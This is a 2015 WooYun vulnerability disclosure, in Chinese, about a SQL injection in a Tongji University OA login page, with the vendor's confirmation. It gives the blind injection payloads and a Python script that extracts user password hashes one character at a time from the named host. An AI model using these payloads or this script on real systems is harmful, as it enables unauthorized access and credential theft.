当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2015-0135000

漏洞标题:同济大学某分站存在SQL注入,导致2W+用户任意登录(附测试脚本)

相关厂商:同济大学

漏洞作者: 浮萍

提交时间:2015-08-18 14:13

修复时间:2015-10-02 15:58

公开时间:2015-10-02 15:58

漏洞类型:SQL注射漏洞

危害等级:高

自评Rank:15

漏洞状态:厂商已经确认

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2015-08-18: 细节已通知厂商并且等待厂商处理中
2015-08-18: 厂商已经确认,细节仅向厂商公开
2015-08-28: 细节向核心白帽子及相关领域专家公开
2015-09-07: 细节向普通白帽子公开
2015-09-17: 细节向实习白帽子公开
2015-10-02: 细节向公众公开

简要描述:

SQL注入
21780用户

详细说明:

http://oa.tongji.edu.cn:89

Snap34.jpg


用户名存在的时候提示密码不正确(102)

Snap35.jpg


用户名不存在时提示用户未找到(103)

sysadmin' and(select(loginid) from hrmresourcemanager)='sysadmin' and'1'='1


hrmresourcemanager表存在 且sysadmin存在

sysadmin' and(select count(*) from HrmResource)>0 and'1'='1


Snap36.jpg


HrmResource表存在
看看多少用户

sysadmin' and(select count(*) from HrmResource)=21780


Snap37.jpg


漏洞证明:

根据

sysadmin' and ascii(substr(password,i,1))>57 and'1'='1


来获取password内容

Snap38.jpg


Snap39.jpg


这里获取的密码第一位对应的ascii为57 即第一位为9

import urllib
import urllib2
dic = '0123456789ABCDEF'
pwd = ''
for i in range(32):
for j in dic:
username = "sysadmin' and(substr(password,"+str(i+1)+",1)='"+j+"') and 'a'='a"
#username = "sysadmin' and 'a'='a"
values = {'loginid':username,'password':'z',
'authcode':'',
'dynapass':'',
'tokenpass':'','clienttype':'Webclient','clientver':4.5,'language':'','country':'','verify':'','needdyna':''}
#print values
data = urllib.urlencode(values)
req = urllib2.Request("http://oa.tongji.edu.cn:89/verifyLogin.do",data)
response = urllib2.urlopen(req)
html = response.read()
#print html
fd = html.count('102')
#print '-->'+str(fd)

if fd>0 :
pwd = pwd +j
print pwd
break


sysadmin对应的密码为

Snap40.jpg


获取其他用户密码只需将sysadmin替换即可

修复方案:

版权声明:转载请注明来源 浮萍@乌云


漏洞回应

厂商回应:

危害等级:高

漏洞Rank:20

确认时间:2015-08-18 15:56

厂商回复:

漏洞确实存存,感谢提醒!

最新状态:

暂无